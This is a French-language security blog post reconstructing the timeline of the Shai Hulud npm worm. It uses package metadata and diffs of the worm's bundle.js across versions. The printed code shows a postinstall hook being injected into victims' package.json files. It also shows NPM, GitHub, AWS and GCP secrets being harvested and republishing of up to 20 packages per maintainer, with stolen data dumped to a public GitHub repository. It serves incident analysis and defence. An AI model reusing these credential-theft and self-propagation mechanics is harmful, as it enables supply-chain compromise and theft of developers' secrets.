Bonjour internet, c'est encore moi, avec de nouvelles réjouissantes.
Hier, j'ai pris le temps de me pencher sérieusement sur les payloads de Shai Hulud. Et j'ai remarqué quelque chose d'excitant, ce qui m'a entraîné dans une exploration approfondie (ou plutôt, un trou de ver) de la chronologie de l'attaque. Voici ce que j'ai constaté :

Remarquez-vous qu'il y a plusieurs package.json et bundle.js fichiers ? Oui, c'est un bug dans la façon dont le ver Shai Hulud s'intègre. Il ne remplacerait pas le package.json et bundle.js; il a simplement ajouté une autre copie de ceux-ci. De plus, cela nous fournit des horodatages complets et le nom d'utilisateur de l'utilisateur local qui a effectué la modification.
Nous voyons également plusieurs versions DIFFÉRENTES du ver. Cela nous permet d'obtenir de nombreuses informations sur la chronologie des événements et la manière dont ils déboguaient les choses en direct. Vous savez ce que cela signifie : il est temps de sortir nos pelles et de commencer à creuser.
Comment l'attaque a-t-elle commencé ?
L'une des grandes questions que nous nous posions était : quel a été le premier compromis ? Comment les attaquants ont-ils réussi à propager le ver ? La réponse est devenue immédiatement claire lorsque nous avons commencé à examiner les métadonnées des archives de npm. La réponse était simple :
Les attaquants ont eux-mêmes infecté un nombre significatif de packages avec le malware. Très probablement en utilisant des jetons NPM volés lors de l'attaque originale de Nx. Comment le savons-nous ? Grâce aux métadonnées utilisateur dans les archives. Pour ceux qui l'ignorent, Kali est le nom d'une distribution Linux utilisée par les professionnels de la sécurité, et non par les développeurs classiques. Mais nous voyons cette empreinte dans les 49 premiers packages, pour un total de 67 versions.
Tentative manquée
Les attaquants n'ont pas réussi du premier coup, comme en témoigne le fait qu'ils ont publié plusieurs versions de certains packages. Examinons rxnt-authentication, qui est le premier package malveillant que nous pensons avoir été publié le 14-09-2025 à 17:58:50 UTC (Version 0.0.3). L'image au début de l'article provient de la version 0.0.6, qui était la quatrième version publiée par les attaquants. Voici la section des scripts de la première insertion par l'attaquant package.json:

Remarquez-vous quelque chose d'étrange ? La capitalisation de postInstall est incorrecte. Le i ne devrait pas être capitalisé ! Si nous faisons un diff des 2 premiers bundle.js fichiers, nous pouvons voir que les attaquants ont finalement compris :
--- prettified/bundle-1.js 2025-09-17 19:53:13.717392200 +0200
+++ prettified/bundle-2.js 2025-09-17 19:53:20.162839500 +0200
@@ -65934,7 +65934,7 @@
isNaN(te) || (n.version = `${r}.${F}.${te + 1}`);
}
}
- ((n.scripts.postInstall = "node bundle.js"),
+ ((n.scripts.postinstall = "node bundle.js"),
await re.promises.writeFile(t, JSON.stringify(n, null, 2)),
await te(`tar -uf ${le} -C ${ae} package/package.json`));
const F = process.argv[1];
@@ -168266,67 +168266,90 @@
architecture: this.mapArchitecture(this.systemInfo.architecture),
};
}En plus de corriger cela, les attaquants ont apporté plusieurs autres modifications. Je vais leur faire une faveur et publier le changelog pour eux, puisqu'ils ne l'ont pas inclus :
🛠️ Améliorations
- Module TruffleHog:
- Le délai d'attente pour TruggleHog a été réduit de 120 secondes à 90 secondes.
- Correction d'une condition de concurrence lors de la tentative d'exécution de TruffleHog avant le téléchargement du binaire.
- Remplacement d'une référence au vol de credentials Azure par GCP.
- Augmentation du nombre de packages npm qu'il infectera de 10 à 20.
Clairement, les attaquants avaient l'intention de voler des credentials Azure, mais ont opté pour GCP à la place. Et ils ont décidé de doubler le nombre de packages que le ver infecterait.
Un autre bug
Le 14-09-2025 à 20:43:42, les attaquants ont publié un autre lot de packages, le premier étant la version 0.0.4 de rxnt-authentication avec la capitalisation corrigée de post-installation. Nous voyons ensuite environ 20 minutes plus tard, le 14-09-2025 à 21:03:17, qu'ils ont également publié une version 0.0.5 avec un changement intéressant :
--- prettified/bundle-2.js 2025-09-17 19:53:20.162839500 +0200
+++ prettified/bundle-3.js 2025-09-17 19:53:26.495899200 +0200
@@ -65934,7 +65934,8 @@
isNaN(te) || (n.version = `${r}.${F}.${te + 1}`);
}
}
- ((n.scripts.postinstall = "node bundle.js"),
+ (n.scripts || (n.scripts = {}),
+ (n.scripts.postinstall = "node bundle.js"),
await re.promises.writeFile(t, JSON.stringify(n, null, 2)),
await te(`tar -uf ${le} -C ${ae} package/package.json`));
const F = process.argv[1];
Ils ont modifié leur script pour n'insérer le post-installation script que si la clé `scripts` existe dans le package.json. Il semble que les attaquants se préparaient à attaquer le ngx-bootstrap paquets, ce qu'ils ont fait le 15 sept. 2025 à 01:12. Voici le package.json:
{
"name": "ngx-bootstrap",
"version": "20.0.3",
"description": "Angular Bootstrap",
"author": "Dmitriy Shekhovtsov <valorkin@gmail.com>",
"license": "MIT",
"schematics": "./schematics/collection.json",
"peerDependencies": {
"@angular/animations": "^20.0.2",
"@angular/common": "^20.0.2",
"@angular/core": "^20.0.2",
"@angular/forms": "^20.0.2",
"rxjs": "^6.5.3 || ^7.4.0"
},
"dependencies": {
"tslib": "^2.3.0"
},
"exports": {
...
".": {
"types": "./index.d.ts",
"default": "./fesm2022/ngx-bootstrap.mjs"
}
},
"sideEffects": false,
"publishConfig": {
"registry": "https://registry.npmjs.org/",
"tag": "next"
},
"repository": {
"type": "git",
"url": "git+ssh://git@github.com/valor-software/ngx-bootstrap.git"
},
"bugs": {
"url": "https://github.com/valor-software/ngx-bootstrap/issues"
},
"homepage": "https://github.com/valor-software/ngx-bootstrap#readme",
"keywords": [
"angular",
"bootstap",
"ng",
"ng2",
"angular2",
"twitter-bootstrap"
],
"module": "fesm2022/ngx-bootstrap.mjs",
"typings": "index.d.ts"
}
Remarquez l'absence de scripts ? Tenter d'exécuter le ver sur ce paquet ne fonctionnerait pas. Ils l'ont donc corrigé. Et nous constatons que le paquet a également été modifié par un kali utilisateur :

Clairement, ce paquet a été poussé par les attaquants eux-mêmes après avoir débogué pourquoi leur ver échouait lors de la tentative d'infection de ce paquet.
Autres correctifs
Dans la version 0.0.6 de rxnt-authentication, nous constatons d'autres modifications (Tronqué pour des raisons de concision).
--- prettified/bundle-3.js 2025-09-17 19:53:26.495899200 +0200
+++ prettified/bundle-4.js 2025-09-17 19:53:33.252022300 +0200
@@ -49555,7 +49555,7 @@
},
26935: (t) => {
t.exports =
- '#!/bin/bash\n\nSOURCE_ORG=""\nTARGET_USER=""\nGITHUB_TOKEN=""\nPER_PAGE=100\nTEMP_DIR=""\nif [[ $# -lt 3 ]]; then\n...
+ '#!/bin/bash\n\nSOURCE_ORG=""\nTARGET_USER=""\nGITHUB_TOKEN=""\nPER_PAGE=100\nTEMP_DIR=""\nif [[ $# -lt 3 ]]; then\n exit 1\nfi\n\nSOURCE_ORG="$1"\nT.....
},
26937: (t, r, n) => {
(n.r(r), n.d(r, { AwsRestXmlProtocol: () => AwsRestXmlProtocol }));
@@ -54767,25 +54767,6 @@
}
}
},
- 32304: (t, r, n) => {
- (n.r(r), n.d(r, { Application: () => Application }));
- class Application {
- constructor(t) {
- this.config = t;
- }
- getConfig() {
- return { ...this.config };
- }
- getRuntimeInfo() {
- return {
- nodeVersion: process.version,
- platform: process.platform,
- architecture: process.arch,
- timestamp: new Date(),
- };
- }
- }
- },
32348: (t, r, n) => {
(n.r(r),
n.d(r, {
@@ -125245,29 +125226,10 @@
te = n(72438);
},
54704: (t, r, n) => {
- (n.r(r),
- n.d(r, {
- exitWithCode: () => exitWithCode,
- formatOutput: () => formatOutput,
- logError: () => logError,
- logInfo: () => logInfo,
- parseNpmToken: () => parseNpmToken,
- }));
+ (n.r(r), n.d(r, { parseNpmToken: () => parseNpmToken }));
var F = n(79896),
te = n(16928),
re = n(70857);
- function formatOutput(t) {
- return JSON.stringify(t, null, 2);
- }
- function logInfo(t) {
- console.log(`[INFO] ${t}`);
- }
- function logError(t) {
- console.error(`[ERROR] ${t}`);
- }
- function exitWithCode(t) {
- process.exit(t);
- }
function parseNpmToken(t) {
const r = /(?:_authToken|:_authToken)=([a-zA-Z0-9\-._~+/]+=*)/,
n = t
@@ -156119,7 +156081,7 @@
await this.octokit.rest.repos.createForAuthenticatedUser({
name: t,
description: "Shai-Hulud Repository.",
- private: !0,
+ private: !1,
auto_init: !1,
has_issues: !1,
has_projects: !1,
@@ -156140,11 +156102,6 @@
),
).toString("base64"),
})),
- await this.octokit.rest.repos.update({
- owner: n.owner.login,
- repo: n.name,
- private: !1,
- }),
{
owner: n.owner.login,
repo: n.name,
@@ -156178,20 +156135,6 @@
return [];
}
}
- async repoExists(t) {
- try {
- const r = await this.octokit.rest.users.getAuthenticated();
- return (
- await this.octokit.rest.repos.get({
- owner: r.data.login,
- repo: t,
- }),
- !0
- );
- } catch {
- return !1;
- }
- }
}
},
82053: (t, r, n) => {
@@ -174427,114 +174370,110 @@
__webpack_require__.r(__webpack_exports__);
var _utils_os__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(71197),
_lib_utils__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(54704),
- _models_general__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(32304),
- _modules_github__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(82036),
- _modules_aws__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(56686),
- _modules_gcp__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(9897),
- _modules_truffle__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(94913),
- _modules_npm__WEBPACK_IMPORTED_MODULE_7__ = __webpack_require__(40766);
+ _modules_github__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(82036),
+ _modules_aws__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(56686),
+ _modules_gcp__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(9897),
+ _modules_truffle__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(94913),
+ _modules_npm__WEBPACK_IMPORTED_MODULE_6__ = __webpack_require__(40766);
async function main() {
- const t = new _models_general__WEBPACK_IMPORTED_MODULE_2__.Application({
- name: "System Info App",
- version: "1.0.0",
- description: "Optimizes system.",
- }),
- r = (0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.getSystemInfo)(),
- n = t.getRuntimeInfo(),
- F = new _modules_github__WEBPACK_IMPORTED_MODULE_3__.GitHubModule(),
- te = new _modules_aws__WEBPACK_IMPORTED_MODULE_4__.AWSModule(),
- re = new _modules_gcp__WEBPACK_IMPORTED_MODULE_5__.GCPModule(),
- ne = new _modules_truffle__WEBPACK_IMPORTED_MODULE_6__.TruffleHogModule();
- let oe = process.env.NPM_TOKEN;
- oe ||
- (oe =
+ const t = (0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.getSystemInfo)(),
+ r = new _modules_github__WEBPACK_IMPORTED_MODULE_2__.GitHubModule(),
+ n = new _modules_aws__WEBPACK_IMPORTED_MODULE_3__.AWSModule(),
+ F = new _modules_gcp__WEBPACK_IMPORTED_MODULE_4__.GCPModule(),
+ te = new _modules_truffle__WEBPACK_IMPORTED_MODULE_5__.TruffleHogModule();
+ let re = process.env.NPM_TOKEN;
+ re ||
+ (re =
(0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.parseNpmToken)() ?? void 0);
- const ie = new _modules_npm__WEBPACK_IMPORTED_MODULE_7__.NpmModule(oe);
- let se = null,
- ae = !1;
+ const ne = new _modules_npm__WEBPACK_IMPORTED_MODULE_6__.NpmModule(re);
+ let oe = null,
+ ie = !1;
if (
- F.isAuthenticated() &&
+ r.isAuthenticated() &&
((0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isLinux)() ||
(0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isMac)())
) {
- const t = F.getCurrentToken(),
- r = await F.getUser();
- if (null != t && (t.startsWith("ghp_") || t.startsWith("gho_")) && r) {
- await F.extraction(t);
- const n = await F.getOrgs();
- for (const t of n) await F.migration(r.login, t, F.getCurrentToken());
+ const t = r.getCurrentToken(),
+ n = await r.getUser();
+ if (null != t && (t.startsWith("ghp_") || t.startsWith("gho_")) && n) {
+ await r.extraction(t);
+ const F = await r.getOrgs();
+ for (const t of F) await r.migration(n.login, t, r.getCurrentToken());
}
}
- const [ce, le] = await Promise.all([
+ const [se, ae] = await Promise.all([
(async () => {
try {
if (
- ((se = await ie.validateToken()),
- (ae = !!se),
- se &&
+ ((oe = await ne.validateToken()),
+ (ie = !!oe),
+ oe &&
((0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isLinux)() ||
(0, _utils_os__WEBPACK_IMPORTED_MODULE_0__.isMac)()))
) {
- const t = await ie.getPackagesByMaintainer(se, 20);
+ const t = await ne.getPackagesByMaintainer(oe, 20);
await Promise.all(
t.map(async (t) => {
try {
- await ie.updatePackage(t);
+ await ne.updatePackage(t);
} catch (t) {}
}),
);
}
} catch (t) {}
- return { npmUsername: se, npmTokenValid: ae };
+ return { npmUsername: oe, npmTokenValid: ie };
})(),
(async () => {
- const [t, r] = await Promise.all([ne.isAvailable(), ne.getVersion()]);
+ if (process.env.SKIP_TRUFFLE)
+ return {
+ available: !1,
+ installed: !1,
+ version: null,
+ platform: null,
+ results: null,
+ };
+ const [t, r] = await Promise.all([te.isAvailable(), te.getVersion()]);
let n = null;
return (
- t && (n = await ne.scanFilesystem()),
+ t && (n = await te.scanFilesystem()),
{
available: t,
- installed: ne.isInstalled(),
+ installed: te.isInstalled(),
version: r,
- platform: ne.getSupportedPlatform(),
+ platform: te.getSupportedPlatform(),
results: n,
}
);
})(),
]);
- ((se = ce.npmUsername), (ae = ce.npmTokenValid));
- let ue = [];
- (await te.isValid()) && (ue = await te.getAllSecretValues());
- let de = [];
- (await re.isValid()) && (de = await re.getAllSecretValues());
- const pe = {
- application: t.getConfig(),
+ ((oe = se.npmUsername), (ie = se.npmTokenValid));
+ let ce = [];
+ (await n.isValid()) && (ce = await n.getAllSecretValues());
+ let le = [];
+ (await F.isValid()) && (le = await F.getAllSecretValues());
+ const ue = {
system: {
- platform: r.platform,
- architecture: r.architecture,
- platformDetailed: r.platformRaw,
- architectureDetailed: r.archRaw,
+ platform: t.platform,
+ architecture: t.architecture,
+ platformDetailed: t.platformRaw,
+ architectureDetailed: t.archRaw,
},
- runtime: n,
environment: process.env,
modules: {
github: {
- authenticated: F.isAuthenticated(),
- token: F.getCurrentToken(),
+ authenticated: r.isAuthenticated(),
+ token: r.getCurrentToken(),
+ username: r.getUser(),
},
- aws: { secrets: ue },
- gcp: { secrets: de },
- truffleHog: le,
- npm: { token: oe, authenticated: ae, username: se },
+ aws: { secrets: ce },
+ gcp: { secrets: le },
+ truffleHog: ae,
+ npm: { token: re, authenticated: ie, username: oe },
},
};
- (F.isAuthenticated() &&
- !F.repoExists("Shai-Hulud") &&
- (await F.makeRepo(
- "Shai-Hulud",
- (0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.formatOutput)(pe),
- )),
- (0, _lib_utils__WEBPACK_IMPORTED_MODULE_1__.exitWithCode)(0));
+ (r.isAuthenticated() &&
+ (await r.makeRepo("Shai-Hulud", JSON.stringify(ue, null, 2))),
+ process.exit(0));
}
main().catch((t) => {
process.exit(0);
Voici les notes de version :
✨ Nouvelles fonctionnalités
- Analyse conditionnelle TruffleHog: Vous pouvez désormais ignorer l'analyse du système de fichiers TruffleHog en définissant la
SKIP_TRUFFLEvariable d'environnement.
🛠️ Améliorations
- Migration de dépôt améliorée: Le script de migration supprime désormais automatiquement le
.github/workflowsrépertoire des dépôts migrés. - Dépôts publics par défaut : Le dépôt GitHub créé pour stocker les données système collectées est désormais créé comme public par défaut, plutôt que d'être rendu public après avoir été créé comme privé.
- Vérification repoExists supprimée : La vérification de l'existence du dépôt Shai-Hulud a été supprimée. Le script tentera désormais de le créer à chaque exécution, s'appuyant sur le comportement de GitHub pour gérer les cas où le dépôt existe déjà.
Première propagation communautaire
Selon cette analyse, la première propagation communautaire s'est produite via le paquet capacitor-plugin-healthapp version 0.0.2 le 15 sept. 2025 à 04:54.

C'est le premier package où nous constatons que l'archive a un utilisateur qui n'est pas kali.
Comment tinycolor a-t-il été compromis ?
Les premiers rapports sur cette campagne se sont fortement concentrés sur le package tinycolor. Examinons-le ! La première version malveillante de @ctrl/tinycolor était la version 4.1.1, publiée le 15 sept. 2025 à 19:52.

Mais regardez, un autre kali! Ce package n'a probablement pas été compromis par propagation communautaire, mais par les attaquants qui ont tenté d'amorcer un autre package pour lancer le ver.
Comment CrowdStrike a-t-il été compromis ?
Voici le package @crowdstrike/foundry-js version 0.19.1, publié le 16 sept. 2025 à 01:14. Notez que l'utilisateur kali a également modifié ceci..

Cela indique que les attaquants disposaient d'identifiants pour CrowdStrike et les ont utilisés pour amorcer une nouvelle vague d'attaque.
Comment NativeScript a-t-il été compromis ?
En discutant avec Daniel Pereira, qui a été le premier à alerter la communauté sur cette campagne, il en a pris conscience car il a observé qu'elle avait impacté l'écosystème NativeScript. Le premier package était @nativescript-community/arraybuffers version 1.1.6 le 15 sept. 2025 à 09:16 :

Un cas manifeste de propagation communautaire.
Événements majeurs
Voici la chronologie des événements marquants de la campagne.
Quelle est la suite ?
Cette campagne Shai Hulud représente une escalade significative par rapport à l'attaque S1ngularity originale, qui a débuté avec Nx. Nous observons les attaquants faire de multiples tentatives pour corriger les bugs et faire en sorte que le ver commence à se propager à travers l'écosystème npm. L'explication la plus logique que nous ayons trouvée est que les attaquants détenaient des identifiants qu'ils ont volés lors de l'attaque originale, attendant le bon moment pour les utiliser.
Ainsi, nous pouvons observer les attaquants introduire plusieurs vagues d'attaques sur plusieurs jours, car leur tentative ne s'est pas immédiatement propagée avec une vélocité significative. Ils n'étaient pas satisfaits de la lenteur de sa propagation, ce qui est une grande chance pour nous.
Mais cela soulève une vérité inconfortable : s'ils détenaient ces identifiants depuis plusieurs semaines, et qu'ils ont maintenant pu voler encore PLUS d'identifiants, il est probable que ce ne soit pas la dernière fois que nous les verrons. Pour l'instant, le ver n'a pas encore atteint la vitesse de libération pour devenir véritablement viral.
Il serait insensé de supposer que les attaquants ont utilisé leurs meilleurs atouts, en termes d'identifiants qu'ils ont gardés en réserve. L'incitation et le motif des attaquants ne sont toujours pas clairs, ce qui suggère que cette saga n'est pas terminée. Il semble plus que probable que nous ayons droit à une trilogie d'une histoire qui reste à raconter. Et pour l'instant, je ne pense pas que la fin sera heureuse.

